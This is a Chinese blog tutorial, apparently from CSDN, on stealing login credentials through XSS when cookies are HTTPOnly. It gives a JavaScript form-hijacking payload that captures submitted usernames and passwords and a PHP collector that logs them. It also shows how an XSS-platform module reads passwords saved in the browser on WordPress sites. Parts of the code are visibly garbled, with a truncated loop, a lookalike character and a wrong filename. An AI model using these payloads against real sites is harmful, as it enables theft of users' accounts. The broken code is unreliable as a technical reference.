• HTTP Only下的XSS攻击


    今天继续给大家介绍渗透测试相关知识,本文主要内容是HTTP Only下的XSS攻击

    免责声明:
    本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
    再次强调:严禁对未授权设备进行渗透测试!

    一、设置HTTP Only后XSS攻击手段

    在上文HTTP Only限制XSS盗取cookie中,我们介绍过,如果网站设置了HTTP Only的cookie,那么我们无法通过JavaScript脚本代码获得Cookie。但是XSS获得cookie的实质目的是能够获得用户的凭证登录系统,因此我们从这个思路出发,如果我们能够通过XSS漏洞拿到目标用户的用户名和密码,一样可以得到与获得cookie相同的结果。
    我们有两种手段可以实现这一操作。一种是在用户输入用户名和密码时,通过XSS漏洞直接获得用户输入的用户名和密码。这种方式难点在于将XSS脚本代码插入到登录框中,而这种地方一般很少会存在XSS漏洞点。另一种是如果用户将用户名和密码存储在了浏览器中,控制XSS拿到用户在浏览器中的用户名和密码。
    接下来,我们就对这两个思路进行验证。

    二、表单劫持绕过HTTP Only获取用户名密码

    如果我们想用表单劫持绕过HTTP Only,那么我们需要把JavaScript脚本插入到系统登录框中。这当然是一个比较麻烦的事情,因为在通常情况下,系统的登录框没有允许类似留言板这样的可以交互的点。
    这一功能当然可以使用一些XSS平台来实现,但是很遗憾的是,我没有找到存在这个功能并且这个功能还使用正常的XSS平台。因此,我不得不手动简单的写了一个JavaScript脚本和PHP脚本,用于展示这个功能。
    JavaScript脚本如下所示:

    var f=document.forms['【form的name】'];
    if(f==undefined)
    {
            f=document.getElementById('');
    }
    var func=f.onsubmit;
    f.οnsubmit=function(event)
    {
    	var str='';
    	for(var i=0;i];
    $cookie = $_GET['data'];
    $url = $_GET['url'];
    $time = gmdate("H:i:s",time()+8*3600);
    $file = "output.txt" ;
    $fp=fopen ("utput.txt","a")  ;
    $txt= "$ip"."----"."$time"."----"."$cookie"."----"."$url"."\n";
    fputs($fp,$txt);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    完成PHP网站搭建后,我们将JavaScript代码插入到登录框页面中,如下所示:
    在这里插入图片描述
    当我们登录后,就可以看到劫持的表单信息了,如下所示:
    在这里插入图片描述

    三、读取浏览器记住的明文密码

    除了进行上述表单劫持的方法外,我们还可以读取浏览器记住的明文密码。当前的浏览器一般都有这个功能,当登录系统时,会询问是否记住用户名和密码。这也是为什么我们在登录网站时,浏览器会帮助我们自动的输入这些用户名和密码。然而问题在于,对于有些安全意识比较高的用户来说,如果不开启这项功能,即不让浏览器存储用户名和密码,那么我们就无法使用这种方式。
    使用这种方式,我们还是借助XSS平台的相关模块,模块介绍如下所示:
    在这里插入图片描述
    使用这个模块我们要输入要读取的用户名和密码框中的type、name和id三个信息。wordpress网站这三个信息如下所示:
    在这里插入图片描述
    我们根据这三个信息来配置该模块的参数,如下所示:
    在这里插入图片描述
    配置完成后,我们就可以获取登录的用户名和密码了,结果如下所示:
    在这里插入图片描述
    原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 相关阅读:
    【QT】Dialog对话框
    电脑技巧:原版Windows系统与Ghost系统的区别
    Python学习笔记--属性的访问控制
    UsernameAuthenticationFilter授权成功后调用AuthenticationSuccessHandler时的解析
    LVS-DR模式
    详细讲解原生js拖拽
    MySQL面试题:用户金额充值面试题详解
    acwing算法基础之数据结构--并查集算法
    Android Qcom Display学习(十)
    Centos7 下定义MariaDB源Yum安装最新版本的MariaDB
  • 原文地址:https://blog.csdn.net/weixin_40228200/article/details/127989838